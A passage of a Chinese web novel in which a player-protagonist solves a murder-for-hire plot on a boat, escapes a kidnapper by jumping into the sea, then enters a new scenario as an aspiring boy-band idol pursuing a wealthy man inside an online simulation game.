“?”枣芩有些没听懂,李聿这是要把自己也带走? 枣芩摇头,对他说:“我不愿意走,你把我送回去。” 他是来完成任务的。 李聿侧头看了他一眼,嘴角扯了扯,从口袋里掏出一盒烟,抽出一根放入口中,转头想要去找打火机,看到懵然神色的枣芩,动作顿住,又把口中的烟放了回去。 他指着不远处的一个小岛,这个岛要比夏岛还要再小一半,整座岛上都是山,没有人居住,是座空岛。 李聿来到枣芩身边,把阮秋白往旁边一推,拉着枣芩坐下,握着他的手。 “芩芩,你知道这个岛吗?” 枣芩自然知道,在梦里宋平已经给他指过一次了。 李聿眼角眉梢是遮不住的愉悦,以及目标即将达成的成就感,看来他知道那里有什么,李聿眼睛在太阳下眯了眯。 他说:“那里的东西,可以让我们过上想象不到的好生活。” 他瞳孔深的像海,看不到底,又似乎有些温柔。 “芩芩,哥哥可以带你去这个世界上最繁华的地方,见识地球另一端的文明,你想要做什么、想要去哪里,我们都可以马上去做。” 他精健手臂一揽,枣芩就被迫一屁股坐在了他的腿上,被环住了腰。 枣芩立即挣扎,想要站起来,可李聿的力气比他大的不是一星半点。 李聿还在接着描述自己的美好愿景,低着额头抵在枣芩的后颈,白得像荔枝肉,让他很想咬一口,但他有的是时间和枣芩慢慢来,不急。 “芩芩可以买很多漂亮衣服,挂满衣柜。吃好吃的。你想要住在哪个国家,我们就住在哪个国家。 在家里什么都不用做,我们可以雇佣人,只需要给他们钱就好了。” 枣芩听到他的话,挣扎的动作忽然停住,他脑中忽然闪过一个念头,如同滚雪球一般越滚越大。 他坐回去,开始梳理这些日子自己获得的线索,以及看到的一切,最终似乎只留下了唯一的可能性。 枣芩脖颈被弄得不舒服,扭开。 他看向甲板的方向,脑海中闪过两张脸,一男一女,男的沉默、女的热情,还有那一嘴怪异的口音。 宋平死的那天,他们也在这艘船上。 枣芩回头想看李聿,李聿发现他的动作,薄唇不着痕迹上升一点弧度,干脆直接把枣芩的腿横放,以便让枣芩更好地看他。 他轻声问:“芩芩想先干什么?” 枣芩看着他的眼神却并不是同样对未来的希冀,反而透着怀疑,连素来漂亮的脸都严肃起来。 他一字一句缓缓说:“你为什么会在宋平死的第二天,就正好回来,你知道他死了吗?” 李聿脸上的表情停滞,手不经意松开。枣芩忙不迭从他身上起来,居高临下看着他,在等待他的回答。 李聿看了一眼岛的方向,不远了。 他侧脸冷硬锋利,对枣芩露出一个笑,散漫说:“过去的事情不重要,重要是不是未来么。” 枣芩脸色不太好看的同时,心跳都加快了,他似乎摸到了真相。 一阵剧烈的海风将两人的衣裳都吹鼓动,枣芩忍不住侧头避开,眼睛都半阂上,就像是一株被风吹的摇摇欲坠的白花。 却又抿着嘴巴,非得独自站在那里。 李聿喉结动了动,这阵风很快过去。他说:“芩芩,道德感对于底层人来说是拖累。” 他不正面回答的态度,让枣芩更确定自己想的没错。 他语气都多了几分笃定,扬起下巴,“是你雇的那两个人,阿香,小刚,我记得他们的名字。” 李聿没说话,眸光沉静看着他。 枣芩拉了拉自己被风吹的,快把腰都露出来的衬衫。 他抬抬下巴示意躺在床上的阮秋白,接着说:“就像你说的,都有了岛上的那些东西,想要通过他跟他的家人要钱,那说明他家确实很有钱。 他帮我查了当天的游客,只有这两个人所在的城市不好查。而他们两个走后,第二天早上你就来了,好巧哦。” 李聿盯着他,伸出手,“我是哥哥,我们是一家人。” 他似乎是想用家人的名义做绑架,提醒枣芩他们是利益共同体,让枣芩放下这一切,乖乖把自己的手放入他手中。 枣芩根本没理会他,他咬着嘴唇,在心里面回答系统。 ——【我要提交答案,杀死我丈夫的凶手,买凶方是李聿,动手的是阿香、小刚。】 半晌没回答,枣芩都有点紧张了,手指攥紧。 系统才慢半拍:【玩家‘枣芩’回答正确。】 从他平静的语气中,枣芩居然隐隐听出逗弄。 但是他一点气都生不起来,长长松了口气。 他现在觉得自己超牛,感觉压抑的气氛都松懈了些许,他居然一次性答对了! 可紧接着,系统又补充了一句:【脱离之前,请不要离开夏岛范围,否则视为失败。】 【现在正在驶离夏岛,预计七分钟。】 【脱离副本时间,预计八分钟。】??? 不是… 枣芩脑子都嗡了一下,他不确定,呆滞问:【你、是玩我,还是真的啊?】 系统很正经:【真的。】 ……想杀人。 枣芩嘴巴张了张,立刻上前把自己的手搭上去,李聿还没开口,枣芩先说:“我要回去,你现在把我送回去。” 枣芩看着倒计时,表情忍不住急切起来,开始想办法,“要不然,你先别让船动,八分钟之后再让它动。” “好吗?” 李聿神情莫测,好一会问:“不想离开,想回去?” 枣芩忙不迭点头,他现在需要回去,不然就白干了。 李聿看了看他,起身进了船舱。 枣芩只当他是去驾驶船往回走,长长松了一口气,如果不是床上还有个阮秋白,他就要躺下了。 船依旧在稳定的向前行驶,枣芩吸吸鼻子,回头去看。 就见身高腿长,一身黑的李聿提着一把木椅子,手里还握着一团散碎布料朝他走来。 枣芩下意识觉得不妙,从床上站起来。 李聿把椅子放到他身侧,就散开了布料,那是一根长长的布绳,像是从一块大布上剪下来的。 发觉不对劲,枣芩就往船舱里跑。 腰忽然被人从背后环住,双脚瞬间离地,巨大的失控感使枣芩慌不择路的挣扎,手脚并用的打他,“你放我下来!李聿,你放开我!你不要脸,你杀人犯!” 他的骂声不断,依旧很快就被安置到椅子上。 李聿面色不变,额头渗出一点汗,像是什么也听不到。 一只手按着枣芩的身体,另一只手速度极快将他绑在椅子上,还不忘打了两个死结。 枣芩喘着气,不敢置信的看着自己身上被黑色布条五花大绑,动都动不了,心里蔓延开一股绝望。 他很想骂人,可喉咙都骂干了,李聿表情也没有一点变化,更没有松开他的意思。 李聿只自顾自说:“你还没有看过外面的世界,只是太害怕了,才会想要回去。” 一心要带走他。 “不是,我、我是因为还有事情没有办,明天再带我走不行吗?” 枣芩边摇头,小声说:“我什么东西都没有带,你让我回去拿东西,不用明天,今天下午就走不行吗?” 李聿油盐不进,但面色温和许多,他蹲在枣芩面前,手放在他腿上,淡然说:“回去就不一定出得来了,外面什么东西都可以再买,会有更好的。” 枣芩:…… 倒计时不断地逼近。 他看向海面,像是妥协了,抿着唇委委屈屈说:“那你一定要给我买……” “好。”李聿终于露出了笑容,伸手摸了下枣芩的脸颊,撩开他一缕差点挡住眼睛的发,“好乖。” 枣芩用一双水色的眼看向他,全然看不出刚刚还在骂人。 他挣了挣,忽然“嘶”了声,软着嗓音说:“那你放开我好不好,我的手臂绑得好疼,你不要绑我了,我好难受。” 李聿看着柔软的布条,“疼?” 确实不疼。 枣芩避而不谈疼不疼的问题,他身形小,坐在椅子上屁股都坐不了多大位置,小脸也没有一点攻击性。 他心里知道硬的不行只能来软的。垂下眼睫,摆出一副可怜样子,小声小气的说:“我会听话的,能不能不要把我绑在椅子上。” “哥哥……哥哥、我会听话的。” 布条被剪开,枣芩站起身把身上乱七八糟的碎布从身上拍下去,乖乖坐在了李聿旁边。 如他所说,像是真的听话了。 “哥哥,我想吃一个冰棒。”是李聿从没听到的撒娇腔调,他喉咙麻了瞬,侧开视线,呼吸重了点。 李聿摸了下枣芩的头发,顺着他的脊背下来,落在腰后,只能安抚,“今天下午就能吃到。” 枣芩摇摇头,忙说:“船上有的,就在冰库里,是宋平买的。” 半晌,枣芩都有点紧张,背上都出了一层薄汗。 李聿才说:“好。” 第48章 第 48 章 奥利奥中间的【修过】…… 趁着李聿进去给自己拿冰棒, 枣芩看了下时间,还剩下两分钟多一点。 也不等李聿走到冰库深处,他在心里给自己鼓鼓气, 抬着椅子放到栏杆前, 爬了上去。 两只手紧紧抓住栏杆, 关节处泛白, 他咬着唇,再把另一只腿也抬过去。 椅背不小心被踢了下, 椅子倒地发出声响。枣芩下意识回头去看, 心瞬间紧了下。 他默念,没听到没听到没听到…… 可抬头就是已经冲出来, 瞳孔骤然紧缩的李聿,他目眦欲裂喊了声:“枣芩!” 枣芩差点没被他这一声吓得掉下去,身体一晃,看着汹涌的大海, 好不容易才稳住身体。 他现在还准备好啊。 李聿看着他摇摇晃晃的动作,只觉得自己的心脏被架在火上烤, 他想要过去,又怕自己的动作给枣芩带来紧迫,只能缓步逼近。 他不明白为什么会这样。 这个岛上到底有什么值得留念的。 枣芩为什么不愿意跟他走,不愿意去过更好的生活。 是不喜欢他吗? “这片已经到了深海区域了, 芩芩, 你不会游泳,先下来。”李聿在枣芩看着海面不注意的时候朝他靠近了一段距离。 他声音很轻,有点控制不住的颤,和枣芩商量,“我们回去, 不走了。” 猛烈的海风,把枣芩单薄的身形吹得摇摇欲坠,似乎下一秒就掉下去了。 李聿猛地朝他的方向奔去。 枣芩吞咽口水,他倒是会游泳,但只在泳池里游过,所以直面大海的时候,恐惧感不可抑制萌生出来。 时间逼近。 枣芩紧紧闭眼,松手。在夏岛区域内,朝大海一跃而下。 冰凉的海水瞬间裹挟全身的每一处,被海水淹没的那一刻,整个世界安静下来,只剩自己的心跳声。 枣芩极力想稳住自己的身体,挥动四肢踩水,想在海面上待到最后一刻,而不是在海水里面。 可他还是低估了大海,一个浪过来,又把枣芩打了下去。 他呛了一大口水,鼻腔难受的厉害,又上不去。 好在系统很快给他用上道具,是之前从宋呈那里拿来的,能让枣芩在水里不需要呼吸,自由活动。 枣芩瞬间好受许多,默默感谢宋呈。他缓缓睁开眼,低头看着海里面,波动海水。 时间剩十几秒,他在夏岛范围。 枣芩心放回了肚子里,由着身体往下沉,还饶有闲心观察下面的小鱼。 水面再次溅起巨大的水花,枣芩身旁的海水被波动,他看见一片黑色朝他而来。 枣芩错愕的看着李聿握住他的手腕,将他拉去怀中,单手搂住他的腰。 时间到了。 【恭喜玩家“枣芩”顺利通关】 【剧情完成——90%】 【身体安全——99%】 【积分奖励400】 【额外奖励200】 站在客厅中央,枣芩往后一退,任由自己躺倒在沙发上,脑海中还是副本最后一幕。 李聿怎么就忽然跟着他跳下来了呢。 枣芩软绵绵在沙发上盯着天花板,躺了好一会,才问系统:“这次除了积分没有什么奖励吗?” 他依稀记得上次还有一个转盘,随机副本,他觉得一点用都没有,就闲置了。 【有。】系统说:【是一个转盘,可以随机副本。】 枣芩:…… 他坐起来,打开自己的道具页面。 除去从宋呈那里扣来的道具,滑到最下面,是他自己得来的,转盘×2。 枣芩没话说了。 系统看他颓着脸的样子,也不逗他了,【不过两个有好处,拥有两个转盘,可以同时转动,选择其一。】 “啊……”枣芩想了想,感觉也没好到哪里去。 他叹了口气,起身进浴室洗了个澡,浑身冒着热腾腾的水气,没穿衣服,钻进了被子里。 系统安安静静看着,只当自己不存在,枣芩似乎也没把他当人。 浑身的皮肤荔枝肉似的,水润清透。 “现在弄吧。”枣芩从被子里冒出脑袋,脸蛋红扑扑。他尽量没把头发打湿,但也湿了一些,有几根贴在脸颊。 系统卡壳,错愕道:【什么?】 枣芩对系统的迟钝感到无奈,提醒说:“转盘啊。” 系统语速微不可查加快一点,【好的。】 两个转盘的图案同时转动,又同时停下。 系统说:【一个是惊魂公交车的上班族,另一个是不可名状娱乐圈的塌房爱豆。】 傻子都知道怎么选。 第一个光看名字,枣芩就想退缩,惊魂这种字眼一出,鬼气森森。 他很快选好,不带一点犹豫,竖起两根手指,“我要第二个!” 系统看得出枣芩不是很想进副本,上一次把自己的积分用光才进去,这次也一样。 穿着件宽松白t,也不穿裤子,没一点警惕心,就在屋子里吃吃喝喝,不时翻看别的玩家在聊些什么热门话题。 【你们谁知道钟佐为什么被ATE除名?他实力还不错吧】 【听说进了个副本和sc结仇了】 【什么名字不能说的?鬼鬼祟祟的,你说了会死?最烦这种。】 【不至于,副本里面发生什么不都靠实力说话,在副本里坑过人的大佬不少吧,出来不都一笑泯恩仇?】 【无人在意】 【没人记得十万了?】 【最近到底是哪个大佬下副本这么勤,黑叶子短时间被进化了两支】 前面的看懂了,枣芩没懂黑叶子是什么,满头雾水咬咬唇。直到他在最后一天,第一次走出屋子。 道路干净,屋舍雪白,像是动画片中的乌托邦般。各种打扮稀奇古怪的行人来来往往,似乎都有目的地。 枣芩戴着口罩帽子仰头,一颗巨大的、几乎遮盖了整个上空的巨树在他眼前,树干看着比一栋楼都粗。 树上的叶子黑白交错,白的比黑的略微多一些。 他眼睛睁的大大的,瞬间明白了那个人说的,黑叶子变白是什么意思。 他们在进行的副本应该和这棵树有关系,副本成功的越多叶子就会白的多。 但为什么要让他变白,变白会发生什么,枣芩再想就有点累了。 他生疏的迈动步子,去买了些生活用品,就提溜着袋子,慢悠悠回了自己的住所。 并不知道自己走后,有人急切赶来他买东西的店里,让人在周围搜查起来。 生死之界没有监控这种东西。 宋呈死死盯着与枣芩交流过的店员,问他枣芩说话的语气,以及各种细节,以确定是不是他。 ATE上上下下都知道这事,那个新人王、宋呈疯了似的,副本也不下,整日在生死之界找人。 说是在找他男朋友。 他们私底下都在传,哪个神人玩弄了宋呈的感情又跑了。宋呈也是太年轻了,为了个人要死要活。 直到某次有人意外进宋呈房间,没见到人,却见到了珍惜的摆在床头的照片。 看到上面的人,愣在原地。 半晌,鬼使神差拍了张照,偷偷溜出去,当自己没来过。 再之后,传言又变了。 莫名其妙的,帮宋呈找人的成员忽然多起来,钱也没拿,说是自愿的。 【你是一个刚出道的男团爱豆,你虽然没什么实力,但很有野心。你的梦想是成为顶流。】 【为此你想了很多办法,包括但不限于,在镜头前拉着自己的队友炒cp,背地里上赶着找金主。】 【可你依旧是热度垫底那个,你感觉好难受,每次队友看向你,你都觉得他们在嘲笑你。】 【你的三个队友都很讨厌你,可是有时候,他们会突然对你态度大反转,变得跟你的狗一样,想舔你想亲你。】 【可转头又好像什么都没有发生过,态度依旧冷漠、嫌恶。】 【阴冷潮湿的角落,似乎有什么东西在看着你?】 【任务1——他们为什么对你变脸?】 【任务2——保持人设】 新的任务似乎比之前的任务要难一些。 虽然上个任务系统也说要保持人设,可枣芩按照自己的心情做事的时候,系统也并没说他ooc。 可这个副本,他只是想起来收拾收拾放在桌子上的纸巾,都被系统说要ooc了。 系统说他应该觉得自己是公主才对。 公主可不能干活,也不能收拾桌子。 枣芩沉默住了,被子里的脚趾都忍不住蜷了瞬,只能尽量不制造垃圾。 进入新副本好几天,没有工作,他就趴在房间床上,在游戏里钓男人。 【MHG】是一款高自由度模拟经营的3d游戏,玩家可以在游戏里捏脸,扮演一个人物。 在这里可以过你所有想过的生活,现实中不敢去做的事情,或者做不到的事情,以游戏滋养现实,给玩家勇气。 游戏中可以恋爱,结婚。也可以不停地搞事业。甚至可以去做非法的事情,但可能会被警察玩家抓住,受到惩罚。 几乎就是一个全新的小世界。 枣芩在游戏里意外认识了一个富二代。 在一次偷翻富二代的动态,枣芩发现他居然经常和一个普通打工仔来往,枣芩刚开始以为是自己的鱼游进了别人的鱼塘,愤然去查看对方的情况。 直到看到了富二代给那个打工人留言【封哥最近在干什么?还有在搞赛车吗?】 这种熟稔又有点细微调侃的态度,以及信息量,更像是现实中认识的。 这个“哥”字,在枣芩脑中如同黑夜中的一盏灯瞬间亮起,他眼中划过一丝狡黠。 MHG毕竟是一个模拟游戏,穷人想要扮演富人,万一有些富人也想扮演穷人呢? 这个【风】绝不是个普通人。 枣芩看到过富二代炫自己的私人飞机的,被这样的人叫哥,可想而知风只会更厉害。 于是枣芩开始了自己的追人计划。 最好让这个风爱他爱的死去活来,然后发展到现实,在他的事业上助力。 感情肯定比那种潜规则什么的好使多了。 还安全…… 这两天,齐封身边出现了一个人。 第一次注意到,是这个叫【小猫喵喵】的玩家,频繁在他所在的便利店购买东西,一买就是一大堆。 他扫描着货物,看着面前装扮浮夸,晃来晃去的男性人物。 难得好心提醒了一句,“游戏里的货物也有保质期。” 对方不以为意,莫名其妙又得意洋洋的一行字飘了出来,“你还看不懂我的意思吗?” 齐封眉毛皱起,缓缓打出一个问号。 半晌。 满身名牌logo的小猫喵喵头上,出现几个大字,“辣弟,我要包养你。” 反应过来的时候,枣芩已经被弹飞到了便利店外,人物被摔得晃晃悠悠站起来,再想进去已经进不去了。 他被便利店拉黑了……!! 可恶! 当时,笔记本电脑前的枣芩咬住线条柔和又粉润的唇,脸直接红到脖子跟。 他翻身躺在床上打滚,把自己裹在被子里面想闷死自己,再也不出来。 没人知道他打那几个字的时候有多羞耻,可他的人设就是这样子,他不仅不会知难而退,还会越挫越勇。 系统说,风其实是个扮猪吃老虎的大佬。 前期枣芩需要和隐藏身份的齐封谈恋爱,得知他不是有钱人后,秉持着不想浪费的心态,骗他给自己做家务照顾自己,然后在参加综艺后,又飞快一脚把他蹬了。 删除拉黑一条龙。 再被暴露大佬身份的齐封狠狠打脸,哭着求他原谅自己。 一个典型的炮灰角色。 枣芩纠结也没办法,还是要厚脸皮的出现在风的必经之路。 他才刚刚跳到风面前,还没开始说情话,风的头上就冒出一个残忍的字眼,“滚。” 枣芩撇着嘴巴:…… 他当没听见,在风面前跳起了舞。风一点情面都不留,冷冷从他身边走过,没有停留一秒。 风都走出了好几米,枣芩的舞还没有跳完,操作不了自己的身体。 打字风肯定不会回头看,眼看着他都要进便利店了,再出来就是对方下班的时候。 枣芩着急忙慌的发了条语音,完成自己今天的任务。 “你想跟你交往啊!” 年纪不大男生的声音带点久未说话的涩,裹挟着微不可查的电流声,传达到齐封的耳朵里。 其实更像男女之间的声音,说话声音很软,尾音携着特殊的调调,钩子似的,和他游戏中的形象并不符合。 手指关节不受控制微微动了下,刚好碰到鼠标,被操作的角色快走了两步,进了便利店,彻底把小猫喵喵阻挡在外面。 枣芩自然注意到了他加快的速度,小脸皱在一起,尴尬的不得了,他咬咬牙,直接设置了距50米的自动跟随,就把电脑放在一旁,去洗澡想冷静一下。 于是齐封出来的时候,又看到了小猫喵喵的身影,他退了两步回去,又推门而出。 他嗤笑一声,凭什么是他躲着对方。 一个没脸没皮的小男生而已。 小猫喵喵不远不近跟在他后头,他回了家,小猫喵喵就独自站在他楼下等待。 齐封实在受不了这人,搞出这副样子算什么,当自己在演抽象偶像剧? 他火气冲着心口,没有犹豫,转身下楼。 游戏里的天空是深蓝色的,灯光昏黄,原本站着小猫喵喵的位置空了。 齐封怔在原地,回过神来,松了口气的同时发现自己心中划过了一丝不该有的失落。 这让他不可避免慌了瞬,欲盖弥彰的眉头蹙起来,不耐烦想,再来一次,他就把这个人物打一顿,让他去医院躺一段时间。 余光瞥见角落里站着一个人,他瞳孔微微缩了缩。 小猫喵喵依旧是一个不远不近的距离,躲在树后面悄悄看他。 或许是怕自己发现又赶他走。 装可怜…… 齐封脑子很乱,他本来都打算下了游戏出门,现在只能延长游戏时间。 他朝着小猫喵喵的方向走去,那个身影发觉他的行动,又忙不迭往远走,到另一个角落里偷偷看他。 …… 齐封胸腔窒闷,停在原地,“再缠着我,我会报警让你销号。” 他知道这种话会化作剑,但他也不明白这句话到底刺的是对方,还是他自己。 小猫喵喵既没有跑过来回答什么,也没有离开,依旧站在原地一动不动。 现实中正是冬天,游戏中也同样是冬天,扑簌簌的雪花飘下来,好像要一点一点覆盖小猫喵喵。 从来不为人考虑,性格乖张的齐封脑中一瞬想过。小猫年纪一听就不大,是不是第一次追人,遇到这种情况,肯定也不知所措。 可别哭了。 “你如果乖一点,不要整天跟着我,说一些莫名其妙的话,我可以跟你加联系方式。” …… 还不说话? 齐封有点恼起来。 “谈恋爱的事,需要慢慢培养,不是急可以来的,我们认识之后可以慢慢熟悉,你到底急什么??” 第49章 第 49 章 我做你男朋友 不远处的身影忽然消失不见, 在看到他的话后下线了。 屏幕前的齐封没忍住说了句脏话,盯着自己打出的那几行字,只觉得荒诞。 手中的鼠标被不耐拨动, 他在附近的人找到小猫喵喵, 把他拉进黑名单。 做完一切, 才关上电脑, 靠在椅背上仰着头,喉结轮廓分明。 他的情绪行为显然脱轨了, 他不可能让这种人操控他的情绪。 不久前, 枣芩洗完澡,身上套着件翻箱倒柜找出来的白t, 单薄的布料被他翘着屁股跪着的姿势绷得很紧,偏偏还没到被屏蔽的地步。 他勾出被自己踢进床底的拖鞋,这么一番动作,再加上脚下温热的地板, 外面刚下过雪,他身上竟有些发热。 还好这个冬天不是在上个副本, 而是再现代,不然他肯定要被冻死掉了。 枣芩被自己的想象吓得抖了抖,上床钻进暖烘烘的被子里,没注意到被自己放在枕头边的电脑, 手臂一抬, 刚好将它合上。 他早就把电脑里的事情抛之脑后,躺在床上,百无聊赖看了眼弹幕。 【万年白t】 【什么意思,老婆白t不好看?薄薄的一层,什么颜色也挡不住, 还能看到一点弧度和褶皱,圆圆的、尖尖什么的,感觉一口就吃了,含着刚刚好,穿别的你能看到?这明明就是战衣】 【嘶、】 【你别说了……老婆挡住了。】 【芩芩脸红,好像生气、】 【哥们祝你好运】 枣芩哪想到自己就睡前随意看这么一看,就看到了这种脏东西,眼周瞬间红了,不是想哭,是燥的慌。 他飞快让系统把那个人拉黑掉,仓促踩着拖鞋,跑进了卫生间。 一进卫生间,直播间就被屏蔽了。 枣芩立马去看镜子里,自己那个位置。 本来根本就不透,布料是棉质的并没有很薄,可是他眼睛睁得圆圆的,认真盯着自己那个位置,还做一些动作去模拟日常生活会被扯到的状况。 枣芩脸绷着,表情严肃,恍然间脑子嗡嗡,简直快晕了。 布料被他看的,越看越觉得透!好像真的有一点明显。 他是男生也不能随便被看啊,系统为什么不屏蔽掉。 对着系统发了脾气,他缓了好一会,情绪才消下去。 他鬼鬼祟祟裹了浴巾挡住自己,找出普通的上下两件睡衣穿在身上,对着空气“哼”了声,够着身子关了灯。 【我恨你……为什么要胡说八道。】 【芩芩明显觉得白t不穿裤子更舒服,都是因为你,换了自己不喜欢的】 【我胡汉三又回来了!啊?你们、我】 【清纯的芩芩怎么受得了你说这些、我鲨了你】 翌日,枣芩抱着被子,照例上游戏刷存在感。去了齐封工作的便利店等着。 与往日不同的,他刚一靠近便利店,门居然像面对正常顾客一样开了。 枣芩有点茫然退后,又向前,又退后,才慢吞吞走进去。 风不知道什么时候从收银台出来,就站在他面前,双手插兜看着他。连游戏人物又有一股装b味,莫名有股压迫感。 枣芩都做好又被丢出去的准备了,他秉持着自己追人的目标,为了今日不ooc,飞快开始发今日份追人语录,“我最近牙齿疼。” 在对方没有来得及回答之前,又飞快输入,“因为晚上常常想你,那感觉太甜蜜,会蛀牙~~~” 小人在原地转了个圈圈,对着男人,头顶比了个爱心。 动作做完,屏幕好像忽然静止了。 枣芩咬着自己的舌尖,别过脸。 自暴自弃想着,算了,快把他丢出去吧。 齐封没有丢他,也没有说什么赶他走的话,沉默片刻,问:“你喜欢我什么?游戏里的脸都是捏的,我们也没有过来往。” 有个顾客买完东西,站在收银台前,等待着收银。看两人在门口聊天,按铃呼唤了几次店员,他的饥饿条快到底了。 枣芩听到急促的铃声,下意识有点急,小人指指收银台,“你要不先去工作?” 风:“你喜欢我什么?” 跟看不见他的话和那个顾客似的。 顾客等急了,几步来到站在门入口说话的两人身旁,对着他们挥拳,“快点给我结账!我快死了!” 风视若无睹:“?说话。” 顾客:“有病吧你****你***” 枣芩哪知道自己喜欢他什么,可能是钱吧,虽然他还一分钱都没有拿到,但肯定是不能这么说的。 枣芩都想自己去收银了,看着快急死的顾客,他艰难打字,“就是有种吸引力,上天注定的就是这样的吧。” 在顾客的挥拳中,风血条掉了一小块,他头上冒出一句,“那好,我答应你了。” 枣芩没有反应过来迟钝的那秒,根本不知道在答应什么。 对方又说:“我做你男朋友。”??? 枣芩咬着舌尖的力度没收住,把自己咬疼了也没在意,看着那行字不敢相信,睫毛颤着。 这么突然?这么简单? 好轻松啊。 风去给顾客结了账,那顾客终于在被饿死之前吃上了饭,饥饿条恢复,他又对着风手舞足蹈发了一堆**。 随后忽然消失在了便利店,出现在了门外,就如不久前的枣芩,被便利店拉黑,踢出了门外。 顾客的小人对着便利店门再次手舞足蹈的挥拳。 【不是,几个小时前是这个态度吗?】 【好了,面都没见着,就又迷倒一个】 齐封在游戏里谈了个对象的事情当天就被传开了。 毕竟两人游戏里有个共同好友,关磊看到这两人的情侣标识的时候,人都傻了。 虽然他跟齐封的关系没有好到什么地步,但起码也是一起长大的,这个小猫喵喵的成分存疑,说不定就是因为他认识的齐封,他可不能害了齐封啊。 要是未来造出什么孽,怪到他头上怎么办? 关磊撺掇几个朋友一起拉了个群,对他们讲了大概事件,又把齐封也拉了进去。 齐封:【?这是干什么?】 关磊率先问:【玩游戏呢?】 齐封:【有屁快放。】 脾气真臭。 关磊翻白眼,【……我好心好意,来提醒你,你那个对象】 本来一直态度懒散,口吻不好的齐封,微妙缓了会,【怎么了?】 关磊:【你让他们跟你说吧。】 被撺掇过来的几个朋友把他们的想法说给了齐封听,言简意赅就是,他们怀疑小猫喵喵是因为从关磊透露出来的东西,猜出了齐封的一些私人信息,才去主动去追求他的。 而不是因为他个人,让他警惕起来。 关磊适时出来:【不然你在游戏里天天打工上班当牛马,他看上你什么了,看你脾气大,看你工资低?】 群里安静片刻,谁也没有发消息,搞得关磊都难得紧张起来。 齐封似乎在做考量。 许久,关磊就看到他说,【别瞎猜,我退群了。】 说完就真退了。? 考量个屁。 给关磊无语到笑了,他感觉自己像是发现了兄弟对象的一些秘密,去跟兄弟说,都准备好两肋插刀了,兄弟来一句我相信他。 这怎么能是瞎猜,明明是有理有据的真相。 群里几个人:【……】【这咋办。】 【总不能就这么让他跟一个拜金男谈吧。】 关磊辣评:【这种恋爱脑治好了也是流口水,别管了。】 他就是太多管闲事了,他现在也算劝过了,以后有什么事情也和他无关。 关磊才刚把群解散,正要把手机丢一旁抽根烟,就收到了齐封的私聊弹出一条信息。 他挑挑眉点开,齐封那姿态跟群里像两个人。 齐封:【我感觉没有吧,他会从哪里看出来,他不像是那种为了钱的。我需不需要试探一下?】 呵。 · 屋外一层积雪,快到经纪人说的要上综艺的日子了,枣芩自来这个副本,还没出过门,今天决定出去吃个饭。 他把手机塞进白羽绒服口袋,下半张脸埋在米色围巾里,严严实实只露着一双眼睛,像一块白白软软的面包。 他摸到口袋里的钥匙,确定自己带上了,才伸手推门。 那瞬间,门刚好被从外面拉开。 枣芩没有一点准备,硬生生跟着门往前走了两步,抬起头迎面对上两个男人,差点撞进站在旁边、白金色头发那个的怀里。 枣芩仓忙后退两步,蜜色眼睛像块半透明的糖,睫毛在眼尾垂着,愣愣看他们。 白金头发的男生头发没打理略微凌乱,也忙后退了两步,像是生怕碰到枣芩。枣芩感觉他眼中隐约透着嫌弃。 另一个黑头发的戴着黑色口罩、鸭舌帽。个子比枣芩高好一块,他脸色冷凝结成霜,因为着意外状况,眉头皱起。 黑发男人侧身想要进来,枣芩很识眼色的往另一边躲,也没料到白金头发的男生也正要往里走,枣芩后背撞到他胸口,又被吓得往前躲。 可他根本躲不了,因为他急匆匆往前,又撞在了黑发男人胸口。 两人高大躯体把他夹在中间,热度侵袭而来,枣芩热得浑身发汗,没忍住哼了声。 他们都穿黑衣。枣芩不合时宜的感觉自己像奥利奥中间夹的、白色的‘利’。 这两人都是团里的成员,黑发的叫邵景迟,另一个金毛是郑宥。 这屋子是四室,公司分配给他们的。但另外三人向来自己在外租房,只有枣芩一个没钱在附近租房,只能住这里。 另外三个不住,刚好他一个人住一个大房子。 只除了有时候经纪人会让他们回这里,面谈工作内容。 此时的尴尬场面并没有让邵景迟有任何反应,他接着往里走去,边走边脱下外套。 倒是郑宥又往后退了两步,他站在门外,与快冒烟的枣芩对视上,“你、” 枣芩被盯得缩了缩脖子,口袋里的手指握紧,把脸深埋在围巾里,招呼也没打就快步走了。 郑宥看着他的仓促背影,片刻后,慢半拍进了屋里。 也不能怪他对枣芩避之不及,他只是ptsd。 他们刚出道不久工作并不多,一旦有镜头的情况下,平时性格脾气都不算好的枣芩就会立马变一张脸,像选妃似的,随机在他们三个里面挑一个,表现亲昵,就为了炒cp,麦麸。 他又不是男同,跟经纪人说了一次又阻止不了他。 郑宥真怕了他,枣芩一靠近他,他都感觉自己要被吸血了,也不明白枣芩为什么能进这个团。 简直就是网上说的。 ——资本家的…… 也不能说丑孩子。 枣芩不丑。 而且,身上还很香……眼睛也跟他小时候喜欢玩的很漂亮的玻璃珠似的。 郑宥胸口升腾燥意,怪怪的。 他眉头拧了拧,乱摸了把本就凌乱的白金色发丝,随手磕上门。 第50章 第 50 章 这里面水太深了 枣芩吃完饭, 慢吞吞走回小区,鞋底多了层雪,他在门外的地毯来来回回蹭, 想把雪蹭掉一些再进去。 门忽然被打开的声音, 让枣芩下意识抬起头去看。 男人眼尾上挑, 黑发略长, 肩膀宽阔,还戴着银色的耳钉。是队里的另一个成员, 戚泽。 戚泽微微挑眉, 视线定在枣芩垂着的睫毛上。 屋内偏暖的灯光落在枣芩的面容,他皮肤透白, 自己或许不知道,自己睫毛上落了点细雪,看起来柔软又疏离。 戚泽顿了秒,语气带着他惯有的戏谑, “我当是哪个小老鼠发出声音,终于回来了?” 枣芩口袋里冰凉的手指蜷起来, 咬咬唇,没好气说:“你才是老鼠呢。” 可惜配上他棉花似的外表,没半点杀伤力。 客厅内的桌子上围坐着三个男人,有两个低头看着手机, 正是今天出门时碰到的邵京迟和郑宥。 另一个戴眼镜的中年男人是他们的经纪人, 他把头发梳得油光锃亮,抬手示意枣芩过去。 应该就是手机上看到的,综艺通告的时间快到了。 屋内的地板暖热烘烘的,枣芩外面还冷的整张脸都埋在围巾里,这才刚进门, 浑身就开始隐隐发热。 他一边往过走,一边脱下自己的外套,放在沙发上。随后把因呼吸闷的有点湿的围巾绕了一圈,解下来放在羽绒服上面。 小巧的鼻尖都被冻得泛着粉,仿佛快没有知觉了,围巾显然只能保护得了脖子。 他里面穿了件海马毛毛衣,是白色的。 毛质看起来特别软,领口露出羸弱的白锁骨,一张脸嫩得出水。 他总感觉几道视线落在他身上,抬眼看过去却见三人都在低头,在看手机。 只有经纪人刘阳将身旁的椅子拉开,拍了几下,喊他,“快坐过来,有事儿说。” 枣芩吸吸鼻子,过去坐下。刘阳开口:“一堆人说枣芩不适合进diff,跟你们三个不协调什么的。” 枣芩听到这话,转头看他,愣了愣。 